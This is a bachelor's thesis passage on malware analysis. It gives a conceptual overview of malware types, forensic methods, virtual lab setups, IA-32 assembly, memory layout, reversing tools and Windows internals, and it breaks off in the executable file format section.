Malware Analysis by Saffaf, Mohammad Nour
 Helsinki Metropolia University of Applied Sciences 
Degree Programme in Information Technology 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Mohammad Nour Saffaf
 
Malware Analysis 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
                                                                                 Bachelor’s Thesis. 27 May 2009 
       
                  Supervisor: Jarkko Vuori, PhD, Principal Lecture 
Helsinki Metropolia University of Applied Sciences                Abstract
Author
Title
Number of Pages
Date
Mohammad Nour Saffaf
Malware analysis
81
27 May 2009
Degree Programme Information Technology
Degree Bachelor of Engineering 
Supervisor Jarkko Vuori, PhD, Principal Lecturer
The number of computer viruses in circulation has reached one million for the first time, 
according to a report by Symantec, a leading security firm. The Internet has become an 
essential part of everyday life. As a result sensitive, personal and credit cards information 
are examples of monetary gains to virus writers.
The main objective of this thesis was to present a technical overview of existing malware 
mechanisms and protections and how the malware forensics counter-attack techniques can 
be  applied.  Likewise,  the  limitations  of  anti-virus  programs and the  current  computer 
security was discussed.
Besides with the theoretical study of the methods of malware forensics that can be used 
against  malware  attacks,  a  practical  case  study  was  carried  out  to  attain  better 
understanding of malware internals and current forensics tools. 
The result of this thesis highlighted the importance and the limitations of the forensics 
techniques for fighting current and future malware. Malware uses advanced techniques to 
protect  and  hide  itself  from both  protection  and  forensics  tools.  Therefore,  achieving 
efficient  software  security  is  difficult  and  absolute  protection  is  impossible  under  the 
current computer architecture. 
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61  Introduction
Internet plays an important role in today's modern life and businesses. It has become a
tool for communication, sharing information, running businesses, shopping, socializing
and many more. Despite its importance, the Internet suffers from major drawbacks such
as users' privacy, fraud, theft and spamming. As a result, new security firms have been
started,  new  laws  have  been  introduced,  and  numerous  efforts  offered  by  security
researchers,  organizations  and  governments  to  fight  electronic  crimes.  The  Internet
users have been urged to invest money to secure their computers and to prevent them
from online fraud. 
However, some of the questions being asked by many people include: With all the effort
and money invested against the electronic crimes, why is the Internet still unsecured?
Why has  the number of  computer  viruses  grown rapidly?  Are expensive prevention
tools effective? This final project aims to answer these questions from the technical side
with  a  specifications  on  computer  viruses  that  uncovers the  technical  war  between
security researchers and hackers. 
Computer viruses are the Internet's enemy number one. Modern viruses are complicated
comparing to the old generation. They use many techniques to escape the detection of
the  anti-virus  programs  and  tend  to  operate  silently  at  the  background.  Modern
malicious program (malware) seek financial profit  rather than physical damages and
some are operated by professional criminal organizations.
The purpose of this thesis is to identify the methods and tools used by anti-virus firms to
protect Internet's users from the threats of malware. Understanding how the malware is
built and how it is used by the attackers is becoming important for software engineers,
system administrators, and IT security field specialist.
72  Foundations
2.1 Overview
A computer  virus  is  a  program or  segment  of  an executable  computer  code  that  is
designed  to  reproduce  itself  in  computer  memory and,  sometimes,  to  damage  data.
Nowadays,  the  computer  virus  term  is  used  as  a  general  term  for  various  harmful
programs. Technically, the virus is used to describe the oldest type of harmful programs.
A virus is either a stand-alone executable file or can be embedded in larger bodies of
code. The virus self-replicates itself inside the same system and cannot spread to other
computers without human assistant. A worm is similar to the virus (technicality) but it
exploits computer networks to spread from computer to computer over the Internet. In
practice, any software that replicates itself may be termed a virus, and most viruses are
designed to spread themselves over the Internet and are therefore called worms.[1]
Nowadays,  malicious software (malware) is the  general term that is used to describe
viruses, worms and other types of harmful and undesirable programs. Malware is any
program that works against the interests of the system’s user or owner to the interest of
other people. [2,273]
2.2 Brief History of Computer Viruses
Personal computers were introduced in the late 1970s and early 1980s and since then,
they become very popular and almost considered compulsory household item for most
people around the world. As the new technology become popular, its drawbacks and
limitations were more recognized. As a result, computer viruses appeared in the early
1980s afflicting Apple and IBM personal computers. The first IBM PC computer viruses
appeared in 1986, and by 1988 virus infestations on a global scale had become a regular
event.  During  the  same  period,  the  first  anti-virus  programs  were  developed  as  a
8promising solution. Unfortunately, anti-virus programs had a limited effect and could
not protect major global attacks. 
During  May  2000,  the  ILOVEYOU  virus  spread  across  the  globe  as  an  email
attachment infecting computers belonging to large corporations, governments, banks,
schools, and other groups. A few years later, in January 2003, a virus dubbed "SQL
Slammer" made headlines by suspending or drastically slowing the Internet service for
millions of users worldwide. The SQL Slammer method of spreading was different than
ILOVEYOU virus. The SQL Slammer exploited a vulnerability in the Microsoft SQL
server run by many businesses and governments around the globe. [1]
2.3 Use of Malware
There are different types of motives that drive people to develop malicious programs.
Earlier, hackers were teenagers attempting to impress their friends. Nowadays, hackers
are seeking financial rewards and benefits [2,280]. The main usages of  malware are:
 Denial of Service (DoS) Attacks: This type of attack aims to prevent an Internet
site or service from functioning efficiently or at all, temporarily or indefinitely.
This is possible when the server receives a huge number of requests that cannot
handle at the same time. The server becomes saturated and stops functioning as
the available resources, such as bandwidth, become exhausted. With the assistant
of malware, hackers can compromise millions of computers around the globe to
form a botnet. The hackers can then use the botnet to start the DoS attack against
the  target.  Nowadays,  botnets  are  used  for  spamming,  attacking  business
competitors or simply for personal revenge. [3,9]  
 Vandalism: DoS attack is sometimes carried out for pure vandalism. Vandalism
was the  most  popular  purpose  for  developing  computer  viruses  pushed  by
childish desires to gain satisfaction and self-importance.[2,280]
9 Information Theft: If markets can sell user's shopping habits information, so
can hackers. However, hackers aim at  more valuable information such as bank
account details and credit cards information. The BBC reported that British bank
account  details  were  on  sale  online  for  as  little  as  £5.  The most  frequently
targeted accounts belonged to high-value businesses, as the details could be sold
for more than those of accounts with lower balances belonging to consumers. [4]
Another common type of malware usage is to hide the identity of a hacker attempting to
access a protected system. Hacker can attain anonymous connectivity by lunching the
attack from the compromised computer and hence covering up his IP address. When this
happen, it would be difficult to trace back and locate the hacker.
2.4 Types of Malicious Software
Malware is not a very common term to for majority of computer users. Instead few
terms (types of malware) are well-known and widely used in media and press. The most
popular are virus and  spyware,  due to a historical reason for the first one, while the
latter one has infected most Internet users' computers. 
Viruses are self-replicating programs that usually have a malicious intent.  They are the
oldest  types  of  malware  and  rare  these  days.  They  replicate  themselves  inside  the
infected machine. The virus does not have any networking abilities: instead it copies
itself using a human assistant, such as using a infected floppy disk at another machine.
Some viruses are harmful and could delete information or corrupt the operating system,
while  others  are  harmless  by displaying  annoying  messages  for  the  self-proud  and
personal celebrity to the writer.  Technically,  the term virus is rarely used nowadays,
because malware that uses the Internet  to replicate itself is typically called a worm.
However, media and most people still use the virus as a general term for any malware
type.[2,274]
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Worms are  fundamentally  similar  to  viruses  but  self-replicate  themselves  across
computer networks such as the Internet and without direct human interaction. The self-
replication process happens silently at the background using different techniques. One
effective method is  by sending an email  with an infected attachment or an infected
website link to the user email contacts list. The receivers would open the infected file as
they know and trust the sender but their machines will become infected as well. Worms
can also spread by discovering new program vulnerabilities inside web browsers or web
applications. In this case, worms can spread to a large numbers of machines in a brief
period of time.
Trojan horse is an innocent file/program openly delivered through the front door when
it in fact contains a malicious element hidden inside. It is very difficult for an ordinary
computer user to identify the Trojan if it is embedded inside a program. The program
would function correctly to the user but at the background it does malicious operations.
The original program continues to serve the user to eliminate any suspicion.[2,275]
Backdoor creates an access  channel (usually an IRC server) that the attacker can use
for connecting, controlling, spying, or otherwise interacting with the victim’s system.
The Backdoor can come as a Trojan horse embedded inside a functional program right
from the  beginning  by a  rogue  software  developer  [2,276]. Backdoors  can  also  be
referred to as keyloggers. They can capture and transform key strokes (keyboard) to the
hacker. Private information (passwords and credit card numbers) can be recorded before
being  encrypted  by the  website  the  user  is  purchasing  from.  It  is  a  very easy and
efficient technique and the user is completely unaware of it.  
Adware / Spyware records information for the purposes of advertisements. They record
a user's visited websites and purchased products online. This information is then sold to
advertisement companies or used to display commercial advertisements related to the
user shopping habits at the infected machine without the permission or willingness of
the target user. In a more modern way, they redirect the user while surfing the web to
other websites that contain certain advertisements. Most of malware under this category
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is also known as  Sticky software. The purpose of sticky software is to remain at the
infected machine. It does not offer an uninstall functionality, and can have an assistant
program that would form a pair with the sticky software both monitor and lunch each
other immediately if the other has been suspended.[2,276-277]
Rootkits are the newest type of malware and probably the most dangerous so far. They
are designed to take control of the infected machine by the gaining administrator role in
the operating system. The name comes from the term root under Unix. The root user
under  Unix  operating  system  has  unlimited  access  privileges  and  can  perform  all
operations on the computer. For Windows OS, the root is equivalent to  Admin access
privileges. 
Nowadays, malware is not only able to record key strokes but also mouse movements.
Worse, it  is able to turn on users' personal web-cam to capture personal images that
might  be  used  to  blackmail  the  victims.  It  is  true  that  some  malware  developers
understand operating systems better than their opponents the malware researchers and
the IT security stuff. Therefore, it is possible to witness the birth of more dangerous
categories of  malware in the future that  can go deep inside the operating system to
control the infected machine completely, including any anti-virus programs.
2.5 Malware Forensics
2.5.1 Basic Principles
Malware  forensics  is  the  process  of  investigating and  analysing malicious  code  to
uncover  its  functionality  and  purposes,  and  to  determine  how  the  malware  had
infiltrated to a subject system. Many of the malware are stopped by anti-virus software,
spyware removal tools and other similar tools but most of the anti-virus software fail to
detect new malware. The reason is that they are built upon a signature-based detection
method. This means that the anti-virus software compares the content of the suspected
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program to  the  stored  signatures  where  each  signature  represents  a  code  pattern  or
unique identification extracted from the original malware. However, polymorphism and
metamorphism are  techniques  that  thwart  signature-based identification programs by
randomly encoding or encrypting the program code in a way that maintains its original
functionality. [2,282] 
Once the existence of a malicious program is detected, malware researchers are going to
start analysing and dissecting it. The forensics operation is accomplished by reversing
the  malware  source  code  and  by  relaying  on  the  information  file  and  networking
monitoring tools can provide. Reversing the malware source code is the most powerful
method. A malware analyst can uncover all the details about the malware and therefore,
malware authors attempt to hinder this process by the use of anti-reversing techniques.
These  are  techniques  that  would obfuscate  the  code,  so that  it  hinders  the  analysis
process, but never actually prevents it [2,281]. 
2.5.2 Static and Dynamic Analysis
A dynamic  analysis or  behavioural  analysis involves  executing  the  malware  and
monitoring its behaviour, system interaction, and the effects on the host system. Several
monitoring  tools  are  used  to  capture  the  malware  activities  and  responses.  These
activities include the attempt to communicate with other machines, adding registry keys
to automatically start  the program when the operating system starts,  adding files  to
system  directories,  downloading  files  from  the  Internet  and  opening  or  infecting
(embedding itself) to other files.
The initial step in this dynamic analysis is to take a snapshot of the system that can be
used to compare between the system status (before/after) running the malware. This
helps to identify the files that have been added or modified at the system. Understanding
what  changes  happened  in  the  system  after  the  execution  help  in  analysing  and
removing  the  malware.  In  the  Windows  environment,  host  integrity monitors  and
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installation  monitors provide  the  required  assistant.  Host  integrity  or  file  integrity
monitoring  tools  create  a  system  snapshot  in  which  subsequent  changes  to  objects
residing on the system will be captured and compared to the snapshot. For Windows,
these tools typically monitor changes made to the files system, registry, and system's
configuration files. Popular tools include Winalysis, WinPooch, FileMon, RegMon and
RegShot. [5,492]
Unlike host integrity systems, installation monitoring tools track all of changes made to
the consequences  from the execution or installation of the target program. This means
that they do not monitor all changes occurred in the system but only the changes during
the  installation  or  the  initialization.  Typically  for  Windows  OS,  they  monitor  file
system,  registry,  and  system's  configuration  files  changes.  Popular  tools  include
Incrtl58, InstallSpy9, and SysAnalyzer. [5,494]
               
Static  analysis is  the  process  of  analysing executable  binary code without  actually
executing the file. Static analysis has the advantage that it can reveal how a program
would behave under unusual conditions, because we can examine parts of a program
that normally do not execute.  Malware might start  executing after period of time or
when a special event occur. Key logging feature might start only when the user browses
online shop or visit a bank web site. It is important to discover how malware can escape
detection  by  anti-virus  programs,  how they  can  bypass  firewall and  other  security
protections. Static analysis helps malware researches to reveal what a piece of malware
is  able  to  do  and  how  to  stop  it.  To  be  able  to  perform  static  analysis,  malware
researchers  must  possess  a  good  knowledge  of  assembly  language and  the  target
operating system. 
Figure  1 shows  the sequences  of  creating a program.  The programmer  creates  the
program using  higher-level language such as C or C++. The outcome of his effort is
called  the  source  code.  The  source  code  is  human  readable  but  not  immediately
executable by the computer. A compiler is a programs that transforms the source code to
an  object  code for computer to execute.  Object  code is a  sequence of bytes (binary
14
numbers) that encode specific machine instructions for the CPU to process and execute.
Figure 1. Program creation sequences
Assembly  language  was  developed  to  rescue  old  programmers  who  had  to  write
programs using the object code. It had been difficult and error-prone to create programs
using object code, therefore, a human readable symbolic representation was developed
and  called  the  assembly  language.  To  be  able  to  perform  static  analysis,  malware
researcher  must  be  able  to  transform  assembly  language  back  to  the  higher  level
language  that  was  used  in  creating  the  program  in  a  technique  called  reverse
engineering.  Reverse engineering is the only solution to understand or to obtain the
source code of closed source programs since compilers work is a one way direction; that
they are unable to transform object code back to the source code.
Static  analysis tools include program analysers,  disassemblers  and debuggers.  These
tools are able to detect if the malware uses any of software protection techniques. They
are able also to represent the object code in assembly language and to step through the
malware or initiating breakpoints to stop the execution of the malware at specific point
to analyse it.
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2.5.3 Virtual Environment   
It is important to establish a secure environment before starting the analysis of  a certain
malware. The environment should not contain any important information, disconnected
from the network (or the traffic is redirected to local host), and preferably contain fresh
installation  of  the  operating  system.  Virtualization  products  offer  help  for  malware
researchers.  These  products  allow  an  unmodified  operating  system  with  all  of  its
installed software to run in a special environment besides existing operating system.
This environment, called a virtual machine, is created by the virtualization software by
intercepting access to certain hardware components and certain features. [6]
The virtual machine is software and therefore all of its components are software-based
although they depict hardware components. A virtual machine behaves exactly like a
physical computer and contains its own virtual  CPU, RAM, hard drive and network
interface  card  (NIC).  It  behaves  like  a  real  physical  computer  and  cannot  be
distinguished by the operating system or any program running inside it [7]. The physical
computer is usually called the host, while the virtual machine is often called the guest.
Virtualization software allows running multiple virtual machines on a single physical
machine,  sharing the resources  of  that  single  mahcine across  multiple environments
with the benefit of using different operating systems for every virtual machine [8]. One
feature the virtual  machine can offer  to  malware researchers  is  testing and disaster
recovery  with the use of  snapshots.  When something goes  wrong (for  example,  the
operating system is corrupted and cannot run)  one can easily switch back to a previous
snapshot and avoid the need of frequent backups and restores [6]. There are several
virtualization  software  available  for  commercial  license  or  for  free.  VMware
Workstation is  one  common  commercial  software  while  Sun  xVM  VirtualBox and
Microsoft Virtual PC 2007 are common free software. Figure 2 demonstrates VirtualBox
running  Windows  XP  and  Linux  Ubuntu  virtual  machines  inside  Windows  Vista
operating system.
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Figure 2. VirtualBox virtualization software [9]
VirtualBox runs on Windows, Linux, Macintosh and OpenSolaris hosts and supports a
large number of guest operating systems including but not limited to Windows (NT 4.0,
2000, XP, Server 2003, Vista),  DOS/Windows 3.x,  Linux (2.4 and 2.6),  Solaris  and
OpenSolaris, and OpenBSD  [6]. VirtualBox is free of charge and can be downloaded
from the VirtualBox website (http://www.virtualbox.org/)      
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3  Low-Level Software
3.1 Overview
Developers of anti-virus software dissect every malicious program that falls into their
hands  using  software  reverse  engineering  techniques.  It  is  important  for  anti-virus
programs to have as many information about the malware to detect it and clean their
traces  in  the infected  machine [2,5].  The  reversing techniques  require  the ability to
understand the internal structure of programs, assembly language and the host operating
system.
Reverse engineering is a process where an engineered product (such as a car, an engine,
or a software program) is deconstructed in a way that reveals its innermost details, such
as its design and architecture. In the software world, reverse engineering attempts to
extract valuable information from programs for which source code in unavailable. It is
possible to extract all program's data  including the original (or similar) source code if
necessary [2]. Operating systems play a key role in reversing. Programs depend on the
OS to operate. They import many operations from the OS and totally depend on the OS
to  communicate  with  users  and  other  programs.  This  means  that  identifying  and
understanding  the  bridging  points  between  application  programs  and  the  operating
system is critical.[2,69]
3.2 Basics of Reverse Engineering
3.2.1 Short Background 
There  are  two  common  applications  of  reverse  engineering  related  to  security  and
software development.  Reversing is  related  to  several  different  aspects  of  computer
security.  For  example,  reversing malicious  software is  very important  in developing
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anti-virus programs. Such a software relies on the information provided by the malware
analyst to be able to detect, remove, or avoid malware infections. Reversing is also used
in software interoperation, where one piece of  software needs to communicate with
other. For example, extending the functionality of a certain application (which its source
code is unavailable) by creating a software plug-in. Finally, reversing is very popular for
defeating various program protection schemes. [2,5]   
An important point that must be considered before starting reverse engineering is law
consultation,  regarding  the  legality  of  reverse  engineering.  The  law  of  reverse
engineering differs from one country to another and from one field to another. In many
countries, software is considered an intellectual property that is protected by copyright
law. However, developing malware is illegal in most countries and cannot be considered
intellectual property. Therefore, reversing malware is safe for security purposes and for
developing anti-virus programs.
3.2.2 High-Level versus Low-Level Language
High-Level programming languages hide the internal details of the computer from the
programmer. They offer a level of abstraction that helps programmers to create complex
programs in  a shorter time. The programmer does not worry about the CPU, memory
management  or  any  details  regarding  computer  architecture  or  the  host  operating
system. It is enough to learn the language syntax to create professional programs for
most industry demands. Therefore, most of the programmers nowadays are only aware
of  high-level programming languages. It is true that using high-level languages makes
programming simpler,  but  low-level  languages  tend to  produce more efficient  code.
High-Level  languages  include  Java,  C#,  C++,  and  C.  The  latter  one  is  sometimes
considered a relatively low-level  language when compared to the others.  High-level
languages are compiled languages in that they use a compiler to generate a program's
binaries.
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On the other  side,  low-level  languages lie  lonely.  They have been ignored by most
programmers and their importance has been supressed.  Low-level languages are close
to hardware and thus produce more efficient  and lower memory consumption code.
They uncover the details of how the computer works and give malware analysts the
opportunity to  reverse a closed-source program. A CPU reads machine code, which is
nothing but sequences of bits that contain a list of instructions for the CPU to perform.
The low-level assembly language is simply a human-readable textual representation of
those  bits  such  as  MOV (Move),  XCHG  (Exchange),  and  so  on.  Therefore,  every
program  created  with  high-level  language  can  be  represented  with  the  assembly
language and therefore, can be reversed. [2,11]
An assembly language uses the  assembler to translate the textual  instructions to the
binary  code  while  the  disassembler does  the  opposite.  A solid understanding  of  a
assembly language is  the main key to the world of  software reversing.  Learning  an
assembly language is not very difficult but the main disadvantage is that the language is
platform-specific defined by the hardware manufacturer,  and different  compilers can
generate different instructions for the same program under the same platform. The most
popular assembly language is the one used for most common CPU architecture: the Intel
IA-32  architecture.  This  architecture  defines  the  instruction  set  for  the  family  of
microprocessors installed in most of personal computers in the world.
3.2.3 Basics of Assembly Language
3.2.3.1 The Registers
IA-32 has eight general-purpose important registers that must be known in by reverse
engineer. A register is a small temporary storage that is available in the CPU for speed
access. The CPU can access the contents of registers faster than any other storage. In
IA-32 architecture, the data is moved from the memory to the register, so that the CPU
can operate on them and then they be sent back to memory. This means that monitoring
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the contents of registers provides important information. Table 1 lists the description   of
the usage of the most important registers.
Table 1. General-purpose registers.[3,132 ; 2,45]
Register(s) Usage
EAX, EBX, EDX used for basic operations: to store any integer, boolean, logical, or memory
operation
ECX used as counter in addition to the basic operations
ESI/EDI used as source/destination pointers for memory operations in addition to basic
operations
BP used as pointer to the beginning of the local stack of a function in addition to basic
operations
ESP used as a pointer to the top of the stack
These eight registers in table 1 are 32-bit storage spaces. It is possible to use all of the
32-bit storage or only a part of it. For example, it is possible to use 16-bits of EAX
register by referring to AX instead of EAX in the assembly instruction. This principle
applies to all eight registers. In addition, it is possible to use any of the two 8-bits of AX
(or BX,CX and DX registers) by referring to AH or AL for high-order byte and low-
order byte as shown in figure 3 3.1 [2,45]
Figure 3. General-purpose registers [2,46]
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Besides the general purpose registers, there are two other important registers. the  EIP
(extended instruction pointer) register points to the next instruction to be executed while
the flags register (EFLAGS) is used by  the CPU to track the results of logic and state of
processor. The flags register is a 32-bit register that consists of 18 flags (18 bits) and 14
reserved bits (for the operating system). The most important flags are the carry flag (C),
zero flag (Z), overflow flag (O) and sign flag (S). Although the main usage of the flags
is  for  arithmetic  operations,  they  are  also  used  to  store  the  result  of  the  previous
computation. Executing conditional instruction usually depends on the flags contents.
For example, after performing comparison between two values (operands), the results is
stored in the appropriate flag.  Depending on the result  of the comparison, the CPU
checks  that  flag  content  to  decide  which  instruction  to  be  executed  next. [2,64-
65][3,132]
3.2.3.2 Basic Instructions
Although there are many assembly instructions, few are popular. Assembly instructions
usually  consist  of  an  operation  code (opcode)  and  zero,  one  or  two  operands.  The
opcode is represented by a mnemonic or the instruction name. The operand can be a
constant value (in hexadecimal), memory address (represented as constant in brackets)
or a register name (the register content is either a constant or memory address). The
most popular instructions are listed in table 2 [3,133-135][2,48-51]
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Table 2. Basic assembly instructions [2,48-51; 3,133-135]
Instruction Usage Example
MOV used to copy data from the source operand to the
destination operand
mov <destination> <source>
mov eax,15h
ADD used to add the source operand to the destination operands add <destination> <source>
add ecx, 05h 
SUB used to subtract the source operand from the destination
operand and store the results in the destination operand
sub <destination> <source>
sub eax, ebx
MUL multiplies the unsigned operand with EAX and stores the
result in EAX or in EDX;EAX if the result is higher than
32 bits
mul <unsigned operand>
mul 12h 
DIV divides the unsigned the value in EAX (32-bit value) or
EDX:EAX (64-bit value) by the unsigned operand; stores
the quotient in EAX and the reminder in EDX
div <unsigned operand>
div 20h 
IMUL
IDIV
same as MUL/DIV but the operand has a signed value imul <signed operand>
imul  [10A0] 
PUSH pushes the operand into the stack; in the example, the
operand is a constant stored in EDX
push <operand>
push edx
POP pops the top value from the stack; in the example, the
operand (EAX) is a destination address
pop <operand>
pop eax 
XOR Performs an “exclusive or” logical operation and saves the
result in the destination operand
xor <destination> <operand>
xor eax,ebx
JNZ branches to specified address if the  condition is not zero
[condition value at  flags register]
jnz <destination>
jnz [code location]
JNE branches to a specified address if the condition is not equal jne <destination>
jne [code location]
JZ branches to a specified address if the condition is zero jz <destination>
jz [code location]
JE branches to a specified address if the condition is equal je <destination>
je [code location]
JMP Non-conditional branch jmp <destination>
jmp [code location]
CALL Start executing a function call <function address>
call [00452F60]  
RET used at the end of a function code to return back to the
caller
ret
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It is important to master assembly language to master reversing, but it is not important
to memorize all IA-32 instructions. There are plenty of online and free references that
can be used when needed. The complete instruction set manual for IA-32 architecture;
the  IA-32  Architectures  Software  Developer's  Manual  can  be  obtained  from  Intel
website (http://www.intel.com/products/processor/manuals/)
3.2.4 Memory Management  
Another important concept of reverse engineering is computer memory management. It
is significant to understand how the memory works at the low level. For a program to
run, it  must be loaded into the memory first.  It  is possible to monitor and change a
program's data and instructions in the memory because the traditional computer memory
architecture  does  not  enforce  any  restrictions.  For  the  purpose  of  reversing,  it  is
important to understand two memory concepts; the stack and the heap. 
A stack is a memory space allocated to store information for a short period of time. It is
built upon Last In First Out (LIFO) structure. This means that the data last inserted into
the stack (push instruction) is the data that can be read (removed) first from the stack
(pop instruction).  The stack  is  mainly used  for  program functions  (call  instruction).
Every function has a stack allocated to it. It is confusing in the beginning to understand
that the first memory address of the stack (or bottom of the stack) is the highest memory
address. This means that the stack grows backward when a new data item is inserted, as
demonstrated in figure 4. The ESP register points to the top of the stack. When a new
data item is pushed into the stack, the ESP value increases and vice versa. Figure 4
demonstrates the stack for the function listed in listing 1. [10,4-5,13-18]
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 void multiply (int one, int two, int three){
  
   const int fixed  = 10;
  
   one = one * fixed;
   two = two * fixed;
   three = three * fixed;
  
   printf("The values are %d %d %d\n", one,two,three) ;  
 }
 int main(int argc, char *argv[]) {
   multiply(10,20,30);
   return 0;
 }
Listing 1. Simple C program
The first items pushed into the stack are the function arguments from right to left. This
means that the argument three is pushed first and the argument one is pushed last.  The
primary reasons why arguments are pushed in  a reverse order  are to place the first
argument on the top of stack and as a solution for functions that can take a variable
number of arguments such as printf. Next the return address (RET instruction) is saved.
The return address points to the main function where the function multiply was called.
In order to calculate addresses to stack items, the register EBP (or sometimes ESP) is
used as reference. For example, the address of RET instruction can be located relatively
using [EBP+1] memory address. This means that the RET instruction is located just
below the EBP instruction at the stack. Finally, the local variables of the function are
pushed into the stack. In this case, one local variable exists; that is the constant fixed. 
25
Figure 4. The stack concept
The ESP register grows backward (a lower memory address) with every item pushed
into the stack and grows forward with every item popped from the stack. It is important
to  know  that  the  pushing  function's  arguments  precede  calling  the  function  in  the
assembly code.  The  return  address  (RET)  is  pushed  automatically  after  calling  the
function, while the EBP register and local variables are pushed inside the body of the
function. Figure 5 demonstrates the procedure for the multiply function of listing 1.
Figure 5. Pushing function's items to the stack
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The limitation of the stack is that it cannot store global variables and too large local
variables unlike the heap. The heap is also a memory space that allows for the dynamic
allocation  of  variable-sized  blocks  of  memory  at  runtime.  For  example,  when  the
programmer uses malloc() function to allocate memory space, the requested memory
space is allocated from the heap at runtime. This memory space has to be deallocated
explicitly by the programmer using free() function (for C/C++ programming). The heap
is useful when the required memory space is unknown initially. The heap grows forward
from lower-addressed memory to the higher-addressed memory and can be considered
(roughly) a First In First Out (FIFO) structure. [10,90-91][2,42]
3.2.5 Reversing Tools
Reversing tools play a crucial rule in reverse engineering. The most important tools are
disassemblers and debuggers. The most valuable tools for reverse engineering are the
tools that work as disassembler and debugger at the same time. There are two common
tools widely used nowadays;  IDA Pro and OllyDbg.  IDA Pro is the most powerful
disassembler that decodes machine code into assembly language. IDA powerful features
include that IDA
 supports different processor architecture and different file formats
 textual identification for common known functions
 produces flowchart when analysing a given function
 has an integrated debugger
 can be extended with plugins
 can automate tasks by writing programming scripts
The  main  disadvantage  of  IDA Pro  is  the  limited  documentation  and  educational
resources.  Other  disadvantage  for  students  and  amateurs  is  the  price.  The  standard
license starts at 360 € while the advanced license starts at 690 €. Recently Hex-Rays,
the producer of IDA Pro, offered free non-commercial version but lacks many features
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the commercial version offers [3,292-294]. IDA Pro can be obtained from Hex-Rays
website (http://www.hex-rays.com/idapro/)
Alternative to disassemblers, debuggers are powerful tools for reversing. A debugger
attaches to the target program to take full control of it. This provides the ability to step
through (line by line) the generated assembly code of the attached program allowing the
reverser to examine what every piece of code does. Debugger also provides detailed
analysis  of  the  CPU register  and  memory contents  that  are  updated  while  stepping
though  the  code.  Another  important  feature  of  a  debugger  is  the  ability  to  set
breakpoints inside the code. This means that the debugger will pause the execution of
the program at specific breakpoint set by the reverser. The reverser can examine what
happens inside the program at that breakpoint and analyses the status and data of the
registers and the memory [2,116-118]. 
Breakpoints are usually used to locate software bugs. For example, it is possible to set a
breakpoint before a section of code that displays an undesirable error message inside a
dialog-box generated by a bug. Then when that error is generated by the program, the
debugger will pause before the error dialog-box appears allowing to trace back inside
the code to understand what has generated the error and which section of code called the
error dialog-box.
A popular application debugger and probably the best one available is OllyDbg which
can be downloaded for free from OllyDbg website (http://www.ollydbg.de). OllyDbg
powerful features include
 powerful built-in disassembler
 powerful Code analysis
 allows for user-defined labels, comments and function descriptions
 textual identification for common known functions
 ability to modify and save the binary code (patching)
 ability to identify program dependencies (DLL file and imported functions)
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 ability to examine the executable file header
 plugins extension
As can be seen in figure 6, the OllyDbg main screen is split into four windows: the
disassemblers  window where  OllyDbg  generates  the  assembly code  for  the  current
attached program, the register window which provides detailed analysis of the CPU's
registers and flags, the stack window which monitors the memory stack while the dump
window  translates  memory  data  (binary)  into  both  hexadecimal  and  textual
representation.  And  the  textual  representation  supports  both ASCII  and  Unicode
encoding systems. 
Figure 6. Ollydbg screen
Limited official documentation is also the main disadvantage of OllyDbg. However, it is
still possible to learn how to use it by reading a few tutorials available on the Internet.
OllyDbg was the reversing tool of my choice for this final project. It is powerful, free
and efficient for analysing malware.
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3.3 Windows OS Fundamentals
3.3.1 Short Background
Understanding operating systems is  important  for  reversing.  Programs are  platform-
depend: they depend on the operating system to function. It is important to understand
the basic architecture of the target OS to be able to run the programs successfully on it.
Many  of  the  internal  parts  (functionalities)  of  a  program  are  imported from  the
operating  system  itself.  For  example,  if  a  programmer  needs  to  add  networking
functionality  to  his  program,  he  or  she  can  import  available  networking  functions
provided by the OS through specific interface without knowing any details about these
functions and how they were implemented.
There are special  reasons why the Microsoft  Windows OS was chosen as the target
operating  system for  this  final  project.  The  Windows  OS  is  still  the  most  popular
operating system in 2009 with more  than  88% of  the  market  share  [11].  The most
popular  OS is  the  most  popular  target  for  hackers.  The  Windows  OS is  huge  and
complex with millions lines of code and wide features, services and vulnerabilities. By
the year 2009, the number of malware in circulation has tapped 1 million for the first
time,  as  was  revealed  by  the  Symantec  security  firm.  The  vast  majority  of  these
malware is aimed at PCs running the Windows OS.[12]
Since Windows OS was released in 1985, there have been several versions but only two
architectures, Windows and Windows NT. Almost all PCs nowadays running Windows
OS versions that belong to the NT family such as Windows XP and Windows Vista.
Windows NT differs from the old architecture that it is pure 32-bit architecture, supports
virtual memory and portable across different processors and hardware platforms. Due to
a  recent  transition  to  64-bit  computing,  current  versions  of  Windows  NT are  also
available in 64-bit versions. Nevertheless, the 32-bit versions of Windows NT remain
dominant in the world.[2,68-71]
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3.3.2 The Win32 API
The application programming interface (API) is a set of functions available from the
operating  system  to  support  the  programmer  for  building  applications  that  can
communicate with the operating system. The API is also available to ease and speed up
the programming process. For example, several functions are available to create, read,
and delete a file.  The programmer is not  concerned of how these functions operate;
instead he or she can concentrate on tasks such as what data to write to the file, how to
represent the data inside the file, when to query the file and when to delete it. [2,88]
Win32 API is  a large set  of functions available to create Windows applications. No
matter  what  programming  language  the  programmer  chooses  to  create  a  Windows
applications, it must interact with the Win32 API including .NET Framework. Win32
API  contains  roughly  2000  functions  that  are  divided  into  main  three  categories:
KERNEL, USER, and GDI.  KERNEL APIs are responsible for base services such as
file I/O, memory management and process management. GDI APIs are responsible for
basic graphics services such as displaying an bitmap image and basic drawing. USER
APIs are responsible for displaying graphical user-friendly items such as windows and
menus.[2,89-91]
The Windows OS is divided into two sections; the user mode and the kernel mode as
shown in figure 7. The user mode where the Win32 API resides while the kernel mode
where  the  real  operating  system  (Windows  NT  kernel)  resides.  Win32  API
communicates with the operating system (kernel  mode) for performing its  functions
through another set of APIs called the Native API. Requests from the Win32 API to the
NT kernel are named  system calls. Because of system call mechanism, Windows NT
kernel is not directly used for creating Windows applications, and that is why Microsoft
can make changes to the kernel without affecting already developed applications. [2,90-
91]
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Figure 7. Windows OS modes and operations [2,89]
It  is  important  to  understand  Win32  API  since  almost  all  malware  authors  use  it.
However, it is not required to understand how these functions were built and how they
operate internally. A malware analyst only needs to understand what certain functions
perform and what data they return to understand the behaviour of malware. Microsoft
offers online detailed documentation for all of Win32 API functions at the Microsoft
Developer Network (MSDN) website (http://msdn.microsoft.com/en-gb/default.aspx).   
3.3.3 Windows Executable File
Understanding the executable file format of the target OS is another required piece of
knowledge. Windows' executable file format is called the Portable Executable (PE). The
PE file format not only applies to executable files, but also to DLLs and kernel-mode
